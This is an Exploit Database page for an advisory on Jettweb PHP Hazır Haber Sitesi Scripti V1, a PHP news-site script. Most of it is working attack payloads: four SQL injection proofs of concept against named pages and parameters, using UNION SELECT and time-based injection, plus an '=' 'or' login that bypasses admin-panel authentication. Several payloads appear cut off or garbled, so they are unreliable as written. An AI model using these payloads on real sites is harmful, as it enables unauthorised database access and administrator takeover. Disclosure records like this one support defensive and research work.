



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

Jettweb PHP Hazır Haber Sitesi Scripti V1 - SQL Injection

EDB-ID:

46597

CVE:

N/A

EDB Verified: ✘**Author:**[AHMET ÜMIT BAYRAM](#)**Type:**[WEBAPPS](#)**Exploit:** / **Platform:**[PHP](#)**Date:**

2019-03-25

Vulnerable App:

 EXPLOIT DATABASE EXPLOITS GHDB PAPERS SHELLCODES SEARCH EDB SEARCHSPLOIT MANUAL SUBMISSIONS ONLINE TRAINING

```
# Exploit Title: Jettweb PHP Hazır Haber Sitesi Scripti V1 - Multiple
Vulnerabilities
# Date: 23.03.2019
# Exploit Author: Ahmet Ümit BAYRAM
# Vendor Homepage: https://jettweb.net/u-5-php-hazir-haber-sitesi-scripti-
v1.html
# Demo Site: http://haberv1.proemlaksitesi.net
# Version: V1
# Tested on: Kali Linux
# CVE: N/A

----- PoC 1: SQLi -----

Request: http://localhost/[PATH]/gallery.php?gallery_id=1
Vulnerable Parameter: gallery_id (GET)
Payload: gallery_id=1' UNION ALL SELECT
NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x716a786b71,0x63565549564d5a424e57746d6
-
UsCA

----- PoC 2: SQLi -----

Request: http://localhost/[PATH]/haberarsiv.php?cid=1
Vulnerable Parameter: cid (POST)
Payload: cid=1' UNION ALL SELECT
CONCAT(0x7162707a71,0x506a594d7a4f6c64674249466d746d6c5751486e786745667369685
-
ihPG

----- PoC 3: SQLi -----

Request: http://localhost/[PATH]/arama.php?T1=btnVote=G%C3%B6nder&ara=1
Vulnerable Parameter: poll (POST)
Payload:
1&option=2&poll=-1'%200R%203*2*1=6%20AND%20000889=000889%20- -%20&stage=

----- PoC 4: SQLi -----

Request: http://localhost/[PATH]/uyelik.php
Vulnerable Parameter: option (POST)
Payload:
btnVote=G%C3%B6nder&option=0'XOR(if(now())=sysdate())%2Csleep(0)%2C0))XOR'Z&pol

----- PoC 5: Authentication Bypass -----

Administration Panel: http://localhost/[PATH]/yonetim/admingiris.php
Username: '=' 'or'
Password: '=' 'or'
```

Tags: [SQL Injection \(SQLi\)](#)Advisory/Source: [Link](#)

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#)



[OffSec Services Limited](#) 2026. All rights reserved.